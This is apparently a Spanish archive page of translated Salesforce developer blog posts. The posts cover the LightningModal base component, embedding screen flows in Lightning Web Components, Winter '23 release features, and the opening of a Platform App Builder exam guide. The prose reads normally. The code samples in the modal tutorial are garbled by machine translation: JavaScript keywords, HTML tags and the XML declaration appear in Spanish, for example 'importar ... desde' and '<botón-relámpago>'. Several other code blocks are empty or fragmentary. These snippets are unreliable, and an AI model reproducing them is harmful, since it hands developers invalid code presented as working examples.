  • El componente mascotPickerModal LWC se importa al componente Mascot Picker LWC mediante una declaración de importación simple
  • Para abrir el componente mascotPickerModal LWC como modal, use el método .open()

{ }); «>

NOTA: LightningModal también es compatible con la variante sin cabeza. Puede omitir el lighnting-modal-header lighnting-modal-footer. Asegúrese de agregar el atributo 'etiqueta' al método .open para accesibilidad.

  • Puede pasar los datos del componente Mascot Picker al componente mascotPickerModal utilizando las propiedades @api declaradas en el módulo JavaScript del componente mascotPickerModal .

; { }); «>

El siguiente diagrama muestra el flujo de datos entre el componente LWC Mascot Picker (el componente que inicia el modal) y el componente LWC mascotPickerModal (iniciado como modal).

  • Puede escuchar los eventos en el componente Mascot Picker enviado desde el componente mascotPickerModal . Para hacer esto, vincule los eventos al método .open() de la clase del componente mascotPickerModal . Esto se muestra en el fragmento de código a continuación.

{ e.stopPropagation(); //Call function to handle the selection event this.handleSelectEvent(e.detail); } }). then((result) => { }); // function to handle the selection event handleSelectEvent(detail) { this.selectedMascot = detail.id; } «>

El siguiente diagrama muestra cómo enviar y capturar eventos entre el componente Mascot Picker LWC y el componente mascotPickerModal LWC.

NOTA: 'oneeventname' a la izquierda de la imagen y 'eventname' a la derecha es la clave para nombrar eventos.

Para resumir, hay dos formas de mover datos fuera de LightningModal:

  1. Cerrando el Modal y pasando los datos en el método close() .
  2. Los eventos modales están cubiertos en el diagrama anterior.

Consideraciones

Al momento de escribir esta publicación de blog, encontramos un problema con el componente LightningModal para aquellos que tienen la configuración Lightning Web Security (LWS) deshabilitada en sus organizaciones. El problema es que los eventos enviados desde el lightning-button en LightningModal no se activan. El error encontrado generalmente se muestra cuando realiza la depuración a través de la consola de desarrollo de Chrome como: 'EventTarget': parameter 1 is not of type 'Event' .

Tenemos una solución para el problema anterior hasta que habilite la configuración de LWS para su organización. Envuelva el componente dentro del modal que envía el evento a su componente LWC dedicado.

Para que nuestra aplicación de ejemplo funcione en organizaciones que tienen LWS deshabilitado, he creado un buttonWrapper componente LWC dedicado que distribuye los eventos personalizados que se pueden manejar en el componente que inicia el modal. Usamos este componente contenedor en lugar del lightning-button estándar para que los eventos modales funcionen.

A continuación se muestra el código para el componente Button Wrapper LWC utilizado como componente secundario en el componente mascotPickerModal LWC.

El marcado del componente:

<dx-code-block title language code-block="

 

«>

El módulo JavaScript:

El marcado del componente modificado de mascotPickermodal LWC está utilizando el nuevo buttonWrapper como un componente secundario que se muestra a continuación.

<dx-code-block title language code-block="

 .....   

«>

Para ver el código fuente de trabajo completo de la aplicación con eventos personalizados para organizaciones con Lightning Web Security deshabilitado, consulte el código fuente en la rama, lws-disabled .

Conclusión

El componente LightningModal también viene con funciones integradas, como estilos de blueprint SLDS, accesibilidad y soporte para ganchos de estilo. Lea más sobre esto en los documentos . Un componente dedicado para la creación de modales significa menos código repetitivo y una mayor eficiencia del desarrollador.

Más recursos

Sobre el Autor

Mohith Shrivastava es promotor de desarrollo en Salesforce con una década de experiencia en la creación de productos a escala empresarial en la plataforma de Salesforce. Actualmente se está enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a través de su Twitter @msrivastav13.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2022/12/a-deep-dive-into-the-lightningmodal-base-component.html

Categories
Developers Tutoriales de Salesforce

Flujos de pantalla integrados en sus componentes web Lightning ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Incorporar flujos de pantalla en sus componentes web Lightning | Blog de desarrolladores de Salesforce

Salesforce Flow permite a los desarrolladores y administradores automatizar procesos comerciales complejos. Los desarrolladores pueden crear la automatización de procesos comerciales a través de flujos sin código, código profesional o una combinación de ambos. La descarga de tareas más sencillas a los elementos estándar de sus flujos le permite concentrarse en escribir código para procesos comerciales complejos, lo que le permite ahorrar tiempo y recursos. Screen Flow, parte de Salesforce Flow, es una innovación fantástica que permite a los desarrolladores y administradores crear interfaces de usuario y vincularlas a los datos de Salesforce.

Screen Flow permite a los desarrolladores usar Lightning Web Components (LWC) como elementos de flujo . El lanzamiento de Winter '23 les dio a los desarrolladores la capacidad de hacer también lo contrario: incrustar flujos dentro de sus componentes web Lightning. Los desarrolladores ahora pueden combinar Flows y LWC para crear soluciones innovadoras mucho más rápido que construir todo desde cero.

En este blog, tomaremos un caso de uso y mostraremos cómo puede integrar Salesforce Flows dentro de Lightning Web Components para crear interfaces de usuario que se adapten a los requisitos cambiantes.

Caso de uso: crear un registro en un objeto de Salesforce

Para incrustar un Flujo de pantalla en un Componente web Lightning (LWC), necesitamos usar el componente base lightning-flow (ver documentos ) dentro de su componente LWC. Para aprender a pasar datos y administrar estados entre un LWC y un flujo, veamos el caso de uso de la creación de un componente simple que permite a los usuarios crear rápidamente un registro en un objeto de Salesforce deseado. Nos referiremos a este componente como "Creación rápida de registros" ( quickRecordCreate ) en el futuro.

El estado final de la pantalla del componente se muestra en la siguiente captura de pantalla.

¿Qué hace el componente?

  1. Los usuarios pueden hacer clic en uno de los nombres de objetos que se muestran a la izquierda (1).
  2. Al hacer clic, el componente muestra el formulario de objeto respectivo, lo que permite a los usuarios completar los datos (2).
  3. Los usuarios pueden hacer clic en el botón Guardar (3) para insertar el registro en el objeto seleccionado en Salesforce.
  4. Finalmente, el flujo lleva al usuario al registro recién creado.

Para obtener más información, consulte el código fuente del componente .

Composición de componentes

El componente que se muestra en el diagrama de la sección anterior se puede construir completamente utilizando Componentes web Lightning. Hay varias formas de crear el componente de formulario con los distintos componentes básicos, como lightning-record-form (ver docs ) o lightning-record-edit form (ver docs ). Sin embargo, usemos Screen Flows para crear el formulario para que podamos entender cómo incrustar flujos dentro del componente web Lightning, así como las ventajas de usar este enfoque. El siguiente diagrama muestra cómo componemos el componente utilizando el componente web Lightning y el flujo.

Creación de flujos de pantalla

El primer paso que tomamos al diseñar el componente quickRecordCreate es construir los flujos de pantalla. Para mantener el diseño simple, creamos un flujo para cada objeto que admite el componente quickRecordCreate .

El siguiente diagrama muestra un flujo de ejemplo para el objeto Cuenta. Hemos llamado a este flujo "Crear_Cuenta".

El flujo está compuesto por:

  • Un elemento de pantalla que permite a los usuarios ingresar los datos. Consta de campos del objeto Cuenta.
  • Un elemento de datos para insertar un registro en el objeto de Salesforce. En este caso, es el objeto Cuenta.
  • Un elemento de asignación para asignar las variables de salida. Las variables de salida del flujo se pueden capturar desde el componente web Lightning.

Crear pantalla de cuenta

Veamos cómo se construye la pantalla Crear cuenta (el primer elemento en la captura de pantalla anterior). Utiliza una nueva función de flujo de pantalla que permite a los desarrolladores colocar campos de registro directamente en las pantallas de flujo . Esta función también se conoce como "Formularios dinámicos" en Flujos (consulte la captura de pantalla a continuación) y permite vincular los múltiples campos de un objeto directamente a una variable de registro.

Dado que este caso de uso era más simple, usamos los formularios dinámicos en Flows. Para casos de uso más complejos que pueden implicar más interacciones, recomendamos usar los componentes de flujo de pantalla tradicionales. Estos ofrecen características ricas, como anular las etiquetas de campo, agregar visibilidad condicional y hacer que sea obligatorio en el diseño. Algunas de estas características están en la hoja de ruta para ser compatibles con formularios dinámicos en Flows también. Los componentes de flujo de pantalla tradicionales también admitirán pantallas reactivas como una función próxima en la versión Spring '23.

Insertar cuenta

Usamos el elemento estándar Create Records para la inserción de registros. La configuración se muestra en la siguiente captura de pantalla.

Variable de salida del flujo

En el paso final del flujo, asignamos el ID de la cuenta insertada a una variable de salida, recordId . Esta variable está marcada como una variable de salida como se muestra en el diagrama a continuación. Las variables de salida están disponibles fuera del flujo.

La asignación de ecordId r el flujo se muestra en la siguiente captura de pantalla.

Cuando finalice el flujo, pasaremos esta variable de salida al componente web Lightning.

Hemos creado flujos para otros objetos, como contacto y oportunidad, en líneas similares (consulte el repositorio de GitHub ).

Creación del componente q uickRecordCreate

Los componentes básicos proporcionan bloques de construcción reutilizables que permiten un desarrollo rápido. Elegimos el componente lightning-tabset (ver docs ) porque era el más adecuado.

Iteración 1: poner en funcionamiento el código repetitivo

El código repetitivo con el que comenzamos es el siguiente.

<dx-code-block title language code-block=" Account flow Contact flow Opportunity flow

Tenga en cuenta que configuramos la variante como vertical , por lo que las pestañas están alineadas verticalmente.

El código JavaScript también es repetitivo en este punto.

Iteración 2: hacer que el marcado del componente sea dinámico

Hicimos el código más dinámico en la próxima iteración reemplazando las marcas HTML codificadas. Logramos esto usando ladirectiva for:each e iterando sobre una matriz de JavaScript que contiene un mapa de la etiqueta del objeto y su flujo correspondiente.

El marcado del componente se muestra a continuación.

<dx-code-block title language code-block="

     Flow {obj.sObject}    

«>

Y aquí está el archivo JavaScript:

Aspectos destacados del código

  1. Introdujimos una variable sObjectToFlowMap que contiene el nombre del objeto y sus nombres de flujo correspondientes.
  2. Repetimos sobre la variable sObjectToFlowMap para crear una pestaña para cada objeto.

Iteración 3: integración de flujos en el LWC

En esta iteración, incorporamos los flujos usando el componente base lightning-flow (ver docs ). Para obtener más información, consulte el código completo de este componente .

El código de la plantilla con lightning-flow incrustado se modifica como se muestra a continuación.

<dx-code-block title language code-block="

 .......       .....

«>

El código JavaScript para el componente se cambia como se muestra a continuación.

Aquí hay un diagrama para ayudarlo a visualizar cómo podemos pasar variables de entrada de LWC al flujo incrustado:

Y aquí hay un diagrama para ayudarlo a visualizar cómo podemos pasar variables de salida y cambios de estado desde el flujo incrustado al componente web Lightning:

Aspectos destacados del código

  1. Para indicarle al componente LWC qué flujo debe iniciarse, use el atributo flow-api-name en el componente base lightning-flow . Tenga en cuenta que el El flujo debe estar activo antes de que pueda renderizarse en su LWC.
  2. El atributo flow-api-name puede leer valores del archivo JavaScript. No tiene que codificar el nombre del flujo en el marcado del componente. La capacidad de inyectar dinámicamente un flujo en el LWC le permite crear una arquitectura de componentes débilmente acoplados.
  3. Para pasar variables de entrada de LWC a Flow, deberá crear una propiedad con el nombre inputVariables en su LWC. Verifique la función handleTabActive (ver documentos ) para ver cómo pasamos valores a las variables de entrada de flujo desde el componente LWC.
  4. Puede manejar eventos de cambio de estado de flujo vinculando una función de controlador al atributo onstatuschange en el componente base lightning-flow . Compruebe la función handleAccountStatusChange (ver documentos ) para ver cómo verificar los cambios de estado y leer los valores de las variables de salida de flujo dentro del LWC.

Para la última iteración, lo desafío a hacer que el diseño del componente quickRecordCreate (ver documentos ) sea más dinámico y basado en tablas. Utilice Apex y la magia de metadatos personalizados para refactorizar el código de este componente que permite a los administradores configurar las asignaciones entre los objetos y los flujos. Si está atascado, comuníquese conmigo a través de la comunidad Trailblazer .

Consideraciones

  1. Si su flujo tiene componentes Lightning web personalizados o componentes Aura, no puede usar lightning-flow en sitios de Experience Cloud que usan Lightning Web Runtime.
  2. Los campos de registro que usamos en el flujo de pantalla tienen consideraciones. Asegúrese de consultar la documentación para obtener más información.
  3. Los flujos de pantalla actualmente no nos permiten escribir pruebas unitarias, a diferencia de LWC. Asegúrese de utilizar las herramientas de automatización de la interfaz de usuario para escribir pruebas de un extremo a otro.

Conclusión

El uso conjunto de LWC y Salesforce Flows permite que el diseño de nuestros componentes sea más flexible para adaptarse a mejoras futuras. Supongamos que si se modifican los requisitos para el componente quickRecordCreate para agregar campos o eliminar campos de la interfaz de usuario, o incluso personalizar el comportamiento de la pantalla en el futuro, el flujo utilizado en el componente LWC se puede mejorar sin realizar los cambios en el componente web Lightning. .

Más recursos

Sobre el Autor

Mohith Shrivastava es promotor de desarrollo en Salesforce con una década de experiencia en la creación de productos a escala empresarial en la plataforma de Salesforce. Actualmente se está enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stackexchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a través de su Twitter @msrivastav13.

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2022/12/embed-screen-flows-in-your-lightning-web-components.html

Categories
Developers

Agregar modal de superposición emergente en el componente web Lightning


Gran idea o pregunta duradera:

  • ¿Cómo se utiliza el componente web lightning para mostrar la ventana modal?

Objetivos:

Después de leer este blog, podrá:

  • Comprender la diferencia entre alerta y modelo
  • Mostrar un modal con una superposición en el clic del botón
  • Muestre otro componente web lightning dentro del modelo
  • Ocultar el modal cuando lo cierra el usuario
  • y mucho más

En el pasado se escribieron algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Agregar cuadro de diálogo de confirmación, alerta y aviso al componente web Lightning
  2. Uso del componente web Lightning para mostrar un banner de alerta

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Janel recibió la tarea de diseñar un componente web relámpago que tenga botones con la opción de abrir los siguientes formularios:

    1. Enviar cliente potencial
    2. Enviar cambio de dirección
    3. Iniciar KYC

¿Qué es Lightning Model?

El modal es una ventana que se muestra sobre la aplicación existente y desactiva la funcionalidad del resto del contenido. Los modales a menudo se usan para dirigir la atención de los usuarios para que tomen medidas o vean un mensaje de la aplicación.

¿Cuál es la diferencia entre una alerta y un modelo?

Una alerta es una pequeña ventana que generalmente evita que los usuarios hagan algo en una página hasta que la hayan descartado.

Un componente lightningModal superpone un mensaje modal en la parte superior de la ventana de la aplicación actual. Un modal interrumpe el flujo de trabajo de un usuario y llama la atención sobre el mensaje. La diferencia es que los modales necesitan interacción directa para ser descartados. Los modales son la mejor manera de insertar un mensaje o un componente web relámpago en la aplicación.

Supongamos que tiene un botón con una llamada a la acción que dice Iniciar KYC y, cuando hace clic en él, aparece un contenedor (LWC) con una lista de actividades que deben activarse. Le permite hacer más trabajo sin mostrar todo el trabajo por adelantado.

A diferencia de otros componentes, el componente lightningModal no usa una etiqueta lightning-modal ni extiende LightningElement . No hay componente rayo-modal. En su lugar, crea un modal extendiendo LightningModal y usando estos componentes lightning-modal-* auxiliares para proporcionar un encabezado, un pie de página y el cuerpo del modal.

  • rayo-modal-cuerpo
  • relámpago-modal-encabezado
  • relámpago-modal-pie de página

Para crear un componente modal, importe LightningModal desde lightning/modal . El componente tiene acceso a los recursos normales de LWC, así como al contenedor especial, componentes auxiliares, métodos y eventos del módulo lightning/modal .

Enfoque de Campeón de Automatización (I-do):

Para resolver el requisito comercial anterior, se crearán los siguientes componentes web Lightning. También aprenderemos cómo pasar lwc dentro de un componente base lightningModal.

  1. baseRayoModal
  2. rayoModalEjemplo

Componente baseLightningModal

Este componente web modelo Lightning se utilizará para enviar un cliente potencial. Llamaremos a este formulario modelo desde lightningModalExample y pasaremos el valor a la propiedad de contenido .

baseLightningModal.html

La plantilla HTML del modal utiliza componentes lightning-modal-* auxiliares para proporcionar el encabezado, el pie de página y el cuerpo de un modal. En este ejemplo, el contenido del cuerpo modal proviene de la propiedad de content que definimos en el archivo JavaScript del modal.

Los componentes lightning-modal-header y lightning-modal-footer son opcionales pero recomendados. Los componentes lightning-modal-* se representan en el orden en que aparecen en la plantilla. Coloque el componente lightning-modal-body después de lightning-modal-header y antes del componente lightning-modal-footer.


<plantilla> <etiqueta-del-encabezado-modal-relámpago={contenido}></encabezado-modal-del-relámpago> <cuerpo-modal-relámpago> <formulario> <div class="slds-box slds-theme_default"> <entrada de rayo nombre="nombre" etiqueta = "Nombre" valor=""> </relámpago-entrada> <entrada de rayo nombre="apellido" label="Apellido" valor=""> </relámpago-entrada> <entrada de rayo tipo = "fecha" nombre="fecha de nacimiento" label="Fecha de nacimiento" valor=""> </relámpago-entrada> <entrada de rayo escriba = "correo electrónico" nombre="dirección de correo electrónico" label="Dirección de correo electrónico" valor=""> </relámpago-entrada> <entrada de rayo tipo = "tel" nombre="móvil" etiqueta="Móvil" valor=""> </relámpago-entrada> </div> </formulario> </cuerpo-modal-del-relámpago> <pie de página modal-relámpago> <div class="slds-m-top_small slds-align_absolute-center"> <botón-relámpago variante="Neutro" label="Cancelar y cerrar" clase="slds-m-izquierda_x-pequeña" onclick={manejarCerrar}> </botón-relámpago> <botón-relámpago variante="marca" clase="slds-m-izquierda_x-pequeña" etiqueta="Guardar" onclick={manejarGuardar}> </botón-relámpago> </div> </relámpago-modal-pie de página>
</plantilla>

baseLightningModal.js

En este ejemplo, la propiedad de content pasa datos al modal desde el componente que invoca, es decir, lightningModalExample .


importar {api} desde 'lwc';
importar LightningModal desde 'lightning/modal'; exportar clase predeterminada MyModal extiende LightningModal { contenido @api; manejarCerrar() { this.close('hecho'); } manejarGuardar() { }
}

baseLightningModal.js-meta.xml

Cada componente debe tener un archivo de configuración. El archivo de configuración define los valores de metadatos para el componente, incluidos los destinos admitidos y la configuración de diseño para Lightning App Builder y Experience Builder.


<?versión xml="1.0" codificación="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>56.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>relámpago__RecordPage</target> <target>relámpago__AppPage</target> <objetivo>relámpago__Página de inicio</objetivo> </objetivos>
</LightningComponentBundle>

componente lightningModalExample

al hacer clic en el botón, se abrirá el componente baseLightningModal. También pasa el valor a la propiedad de contenido .

lightningModalExample.html

La plantilla HTML de esta aplicación contiene un grupo de botones que abre el modal.


<plantilla>
<div class="slds-box slds-theme_default">
<grupo-de-botones-de-relámpago> <lightning-button onclick={handleLead} label="Enviar cliente potencial" aria-haspopup="modal"></lightning-button> <lightning-button label="Enviar cambio de dirección"></lightning-button> <relámpago-botón etiqueta="Iniciar KYC"></relámpago-botón>
</grupo-de-botones-relámpago>
</div>
</plantilla>

lightningModalExample.js

LightningModal proporciona un método .open() que abre un modal y devuelve una promesa que se resuelve de forma asíncrona con el resultado de la interacción del usuario con el modal. LightningModal proporciona estas propiedades

  • Etiqueta
  • Tamaño
  • Descripción
  • deshabilitarCerrar

Invoca el método .open() en una función handleClick() vinculada al atributo onclick del botón de la aplicación, y usa las palabras clave async y await para manejar la promesa devuelta por .open(). Este ejemplo anula el valor de tamaño configurándolo en grande y establece el contenido de la propiedad definida por el usuario del modal.


importar { LightningElement } desde 'lwc';
importar myModal desde 'c/baseLightningModal'; exportar clase predeterminada MyApp extiende LightningElement { asincrónico handleLead() { const resultado = esperar myModal.open({ talla pequeña', description: 'Descripción accesible del propósito del modal', contenido: 'Formulario de generación de prospectos', }); consola.log(resultado); }
}

lightningModalExample.js-meta.xml

Cada componente debe tener un archivo de configuración. El archivo de configuración define los valores de metadatos para el componente, incluidos los destinos admitidos y la configuración de diseño para Lightning App Builder y Experience Builder.


<?versión xml="1.0" codificación="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>56.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>relámpago__RecordPage</target> <target>relámpago__AppPage</target> <objetivo>relámpago__Página de inicio</objetivo> </objetivos>
</LightningComponentBundle>

Prueba de concepto

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://automationchampion.com/2022/11/28/add-popup-overlay-modal-in-lightning-web-component-2/

Categories
Developers Tutoriales de Salesforce

Aprende MOAR en Winter '23 con Release Highlights para desarrolladores ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Aprenda MOAR en Winter '23 con aspectos destacados de la versión para desarrolladores | Blog de desarrolladores de Salesforce

¿Escuchaste? ¡Es la semana de Dreamforce! Sí, nuestra reunión familiar de Trailblazer finalmente está aquí, los días son un poco más cortos y los PSL han comenzado a resurgir en los menús de cerca y de lejos (eso es "Pumpkin Spice Lattes", pero si leyó eso y pensó en "Licencias de conjunto de permisos", entonces definitivamente eres uno de nuestra gente!). ¡Todo esto significa que es hora una vez más de otro lanzamiento de invierno repleto para administradores y desarrolladores! Sabemos que cada versión trae consigo muchas funciones nuevas y sorprendentes, y puede haber mucho que digerir. Con Learn MOAR, empaquetamos el lanzamiento y se lo ofrecemos en un formato fácil de digerir con blogs, videos y más.

¡Calienta con Winter '23!

Es fácil empezar:

  • ¡Explore los trailmixes de Trailhead con los aspectos más destacados del lanzamiento clave para administradores o desarrolladores, o ambos!
  • Síganos todos los días de esta semana mientras publicamos blogs que destacan todas las excelentes funciones nuevas en los blogs de desarrolladores de Salesforce y administradores de Salesforce.
  • ¡Prepárese para Developer Release Ready Live! ¡Por primera vez en la historia, Release Readiness Live estará en vivo en Dreamforce! Únase a los expertos en productos y defensores de los desarrolladores para conocer las nuevas características de la versión Winter '23. Si se unirá a Dreamforce en persona, únase a la sesión el 22 de septiembre a las 11:00 a. m. (hora del Pacífico). ¿Sintonizando Dreamforce virtualmente este año? Únase a nosotros para una transmisión en vivo.

Siga y complete un trailmix de Learn MOAR Winter '23 para administradores o desarrolladores antes del 30 de noviembre de 2022 a las 11:59 p. Se aplican restricciones. Aprenda cómo participar y revise las reglas oficiales visitando la página de Trailhead Quests .

Funciones generalmente disponibles

El lanzamiento de Salesforce Winter '23 está sobre nosotros y viene con excelentes funciones nuevas para desarrolladores. Hemos reunido una lista de funciones que creemos que debe tener en cuenta, incluidas las que ahora están disponibles de forma general:

API GraphQL : si visitó el blog durante los últimos meses, sabe que estamos emocionados de compartir nuestro desarrollo en la nueva API GraphQL de Salesforce . Bueno, ¡esa API de GraphQL ahora es GA! El esquema inicial que estamos entregando le permite paginar, filtrar y ordenar sus sObjects expuestos de API de interfaz de usuario. Además de ser escalable y de alto rendimiento, le otorga la capacidad de consultar y obtener los datos exactos que necesita en una sola solicitud: nada más y nada menos. ¡Consulte nuestra increíble Guía para desarrolladores de la API de GraphQL para ver ejemplos de código!

Clonación rápida para Sandboxes en Hyperforce : sabemos que los tiempos de copia de sandbox pueden ser largos y esta nunca es una gran experiencia. Afortunadamente, Hyperforce está cambiando esto a partir del lanzamiento de Winter '23 con Quick Clone para Developer y Developer Pro Sandboxes en Hyperforce. Quick Clone es una nueva capacidad para sandboxes en Hyperforce que hará que los tiempos de clonación sean significativamente más rápidos, lo que conducirá a tiempos de copia más rápidos para entornos de desarrolladores individuales o aquellos que se usan para el control de calidad, un mejor uso de sandboxes en sus canalizaciones de CI y ciclos de lanzamiento más cortos en general.

Retransmisiones de eventos para AWS : ha sido un gran verano para las arquitecturas basadas en eventos, primero con la GA de la API Pub Sub que simplifica la forma en que los equipos publican y consumen eventos en Salesforce, y ahora extendiéndose a AWS con nuestras nuevas retransmisiones de eventos de GA para ¡AWS! Ahora puede publicar eventos de forma nativa en Amazon EventBridge sin necesidad de oyentes codificados personalizados u otro middleware.

DevOps Center : actualmente en versión beta, DevOps Center es una solución de administración de versiones y cambios de código bajo que sabemos que muchos de ustedes están esperando con ansias, ¡y no tendrán que esperar mucho más! Nuestro objetivo es una GA a principios de diciembre para DevOps Center, que proporciona una abstracción conveniente sobre las ramas de GitHub y los flujos de trabajo típicos basados en Git, lo que permite que más equipos participen en el proceso de administración de versiones.

Mejoras de características

Adaptador Salesforce Connect para Amazon Athena : fanáticos de Amazon Athena, ¡hay excelentes noticias por delante! Continuamos ampliando nuestra asociación con AWS y nos complace compartir que los clientes ahora pueden acceder a los datos administrados por Amazon Athena desde Salesforce. Todo ello sin necesidad de utilizar middleware, proporcionando la misma excelente experiencia de objetos externos para los datos estructurados almacenados en Amazon S3. Esto significa que podrá utilizar informes y paneles con objetos externos expuestos a través de Athena y acceder a esos datos de Athena mediante SOQL y Apex (sin DML).

Nuevo componente estándar para incrustar flujos de pantalla en LWC : si ha hurgado en el blog de administración una o dos veces, sabe que nos encanta un poco de flujo, por lo que estamos muy emocionados de presentar el nuevo componente lightning-flow . Ahora puede incrustar fácilmente sus flujos de pantalla en LWC y también personalizar lo que hace: desde un comportamiento de acabado único hasta un estilo personalizado y mucho más. Este es un ejemplo de cómo se vería con un Flujo de encuesta de clientes:

<dx-code-block title language code-block="
«>

Funciones de vista previa y piloto

Actualmente en Pilot, hemos introducido una nueva función que le permite sincronizar los datos de los componentes sin actualizar la página mediante el uso de la API RefreshView. Hasta ahora, LWC no presentaba una API para actualizar datos sin continuar y actualizar toda la página. Este piloto cambia eso, permitiendo a los desarrolladores actualizar los datos para una jerarquía específica de componentes sin recargar toda la página.

El siguiente paso: la capacidad de construir componentes en el modo de sombra mixta ahora está en versión beta. Si es nuevo en esto, el modo de sombra mixto permite que los LWC usen el DOM de sombra nativo incluso cuando se aplica el relleno sintético de sombra, como en las versiones anteriores de Microsoft Edge. Esto significa que los desarrolladores simplifican las pruebas y la creación aprovechando la velocidad y la eficiencia de la sombra nativa dondequiera que puedan en su aplicación, mientras crean un camino elegante hacia la migración a la sombra nativa en el futuro. Para habilitar el modo de sombra mixta en un componente, establezca la propiedad estática shadowSupportMode en any :

¡Otra gran versión beta para aquellos de ustedes que construyen en Experience Cloud es la capacidad de actualizar las implementaciones de su sitio con nuevos tipos de API de metadatos ! Eso significa usar comandos familiares para implementar sitios LWR mediante programación y el concepto de contenido como metadatos. Siguiendo la imagen a continuación, cuando recupera DigitalExperienceBundle, los espacios de trabajo de su sitio se almacenan en la carpeta del sitio (1). Cada uno de sus sitios LWR mejorados tiene su propio espacio de trabajo (2), donde las carpetas para cada tipo de contenido (3) organizan los elementos de contenido individuales (4) que componen el sitio.

Para los desarrolladores que crean para Slack, también nos complace compartir que Apex SDK para Slack ahora está en Beta . Si estás cerca de Dreamforce, verás algunas cosas nuevas y emocionantes con este, pero con la Beta estamos permitiendo que los equipos usen las habilidades de Apex que ya tienen para crear experiencias personalizadas en Slack, y hacerlo sin necesidad para dominar Block Kit, o sin necesidad de ponerse de pie y mantener una conexión de software intermedio. Esta versión Beta también traerá consigo una gestión optimizada de usuarios internos y externos, brindándole un mayor control sobre el acceso a los datos dentro de las nuevas interfaces de usuario que ofrece.

Por último, ¡esperamos que no se haya perdido la Beta recientemente anunciada para Code Builder ! Code Builder es un IDE moderno y optimizado para Salesforce en su navegador. Ahora, los desarrolladores y administradores tienen la flexibilidad de usar nuestras extensiones de VS Code de Salesforce para VS Code de escritorio, o implementar un entorno de desarrollo preconfigurado y con todas las funciones en su navegador, directamente desde su organización. Mire este video para ver un recorrido reciente de Code Builder en acción por parte de Mohith Shrivastava, uno de nuestros increíbles promotores de desarrolladores.

¡Vea estas nuevas funciones en acción!

No se olvide de ver la vista previa para desarrolladores de Winter '23 el 22 de septiembre durante Release Readiness Live para ver demostraciones de un subconjunto de estas nuevas y emocionantes características. Y si asistes a Dreamforce, ¡ únete a nosotros EN VIVO ! ¡Asegúrese de consultar el mix de aprendizaje de Learn MOAR Winter '23 para desarrolladores y siga el blog esta semana para obtener más información sobre Learn MOAR!

Sobre el Autor

Ryan Schellack es el director de marketing de productos de la plataforma Salesforce. Su equipo se enfoca en servicios para desarrolladores, DevOps, IA y automatización. Puedes seguirlo en Twitter @rschellack .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://developer.salesforce.com/blogs/2022/09/learn-moar-in-winter-23-with-release-highlights-for-developers.html

Categories
Developers

Cómo aprobar el examen de certificación

de Salesforce Platform App Builder

Última actualización el 16 de septiembre de 2022 por Rakesh Gupta

Con inmenso placer, me gustaría compartir que aprobé el examen de certificación de Platform App Builder hace un mes. Me tomó 50 minutos revisar todas las preguntas antes de presionar el botón de enviar. Después de un clic más del botón 'Continuar', woohoo, la pantalla dice Result: Pass .

Después de terminar, pensé en compartir algunas de mis experiencias con respecto a mi preparación para el examen.

👉 Ya que está aquí, es posible que desee consultar mi nuevo libro Certificación del creador de aplicaciones de la plataforma Salesforce: una guía práctica de estudio .

Entonces, ¿quién es un candidato ideal para el examen?

La credencial de Salesforce Platform App Builder está destinada a una persona con experiencia en el desarrollo de aplicaciones personalizadas en Lightning Platform, incluida la aplicación práctica de las habilidades y conceptos que se indican en los objetivos del examen a continuación.

El creador de aplicaciones de la plataforma Salesforce generalmente tiene de 6 meses a 1 año de experiencia en la creación de aplicaciones en la plataforma Lightning y/o en una plataforma de tecnología similar.

El candidato de Salesforce Platform App Builder tiene la experiencia, las habilidades y los conocimientos que se describen a continuación:

  • Familiaridad con las capacidades de la plataforma Lightning
  • Conocimiento de los tipos de licencia de Salesforce y consideraciones relacionadas
  • Capacidad para diseñar aplicaciones para respaldar los procesos comerciales y los requisitos de informes
  • Familiaridad con las capacidades y la personalización utilizadas para mejorar la experiencia del usuario móvil
  • Familiaridad con los entornos de desarrollo de Salesforce y las opciones disponibles para implementar aplicaciones y administrar cambios en la Plataforma Lightning
  • Comprensión de los recursos enumerados en esta guía de examen y los materiales de estudio adicionales requeridos proporcionados por Salesforce

No se espera que un candidato para este examen pueda administrar Sales Cloud o Service Cloud, tener experiencia en desarrollo programático (Apex, Visualforce, etc.), diseñar interfaces personalizadas con Visualforce o diseñar componentes Lightning personalizados con Apex o JavaScript.

¿Cómo prepararse para el examen?

